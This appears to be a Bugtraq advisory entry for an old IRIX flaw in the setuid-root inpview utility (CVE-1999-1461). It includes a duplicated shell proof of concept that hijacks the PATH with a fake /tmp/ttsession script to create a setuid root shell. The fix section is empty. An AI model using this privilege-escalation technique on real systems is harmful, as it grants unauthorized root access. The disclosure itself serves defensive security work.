IRIX inpview Vulnerability
BID:381
Info
IRIX inpview Vulnerability
| Bugtraq ID: | 381 |
| Class: | Origin Validation Error |
| CVE: |
CVE-1999-1461 |
| Remote: | No |
| Local: | Yes |
| Published: | May 07 1997 12:00AM |
| Updated: | Jul 11 2009 12:56AM |
| Credit: | This vulnerabity was first reported to the Bugtraq mailing list on May 7, 1997 by Yuri Volobuev <[email protected]>. |
| Vulnerable: |
SGI IRIX 6.4 SGI IRIX 6.3 SGI IRIX 6.2 SGI IRIX 6.1 SGI IRIX 5.3 |
| Not Vulnerable: | |
Discussion
IRIX inpview Vulnerability
The inpview utility, included by SGI in its Irix operating system, contains a vulnerability that will allow any local user to obtain root access. inpview is part of the InPerson dektop video conferencing package. As it needs to access a video capture device, it is setuid root, and attempts to run the "ttsession" utility using the system() library call. It does not specificy an explicit path, and as such will execute the first program or script named "ttsession" in the users path. By setting /tmp to be first in your path, creating a shell script in /tmp call ttsession, and making it executable, this shell script will be executed as root.
The inpview utility, included by SGI in its Irix operating system, contains a vulnerability that will allow any local user to obtain root access. inpview is part of the InPerson dektop video conferencing package. As it needs to access a video capture device, it is setuid root, and attempts to run the "ttsession" utility using the system() library call. It does not specificy an explicit path, and as such will execute the first program or script named "ttsession" in the users path. By setting /tmp to be first in your path, creating a shell script in /tmp call ttsession, and making it executable, this shell script will be executed as root.
Exploit / POC
IRIX inpview Vulnerability
% cat > /tmp/ttsession
#!/bin/sh
cp /bin/sh /tmp/rootshell
chmod 4755 /tmp/rootshell
^D
% chmod 755 /tmp/ttsession
% inpview&
% /tmp/rootshell
#
% cat > /tmp/ttsession
#!/bin/sh
cp /bin/sh /tmp/rootshell
chmod 4755 /tmp/rootshell
^D
% chmod 755 /tmp/ttsession
% inpview&
% /tmp/rootshell
#
Solution / Fix
IRIX inpview Vulnerability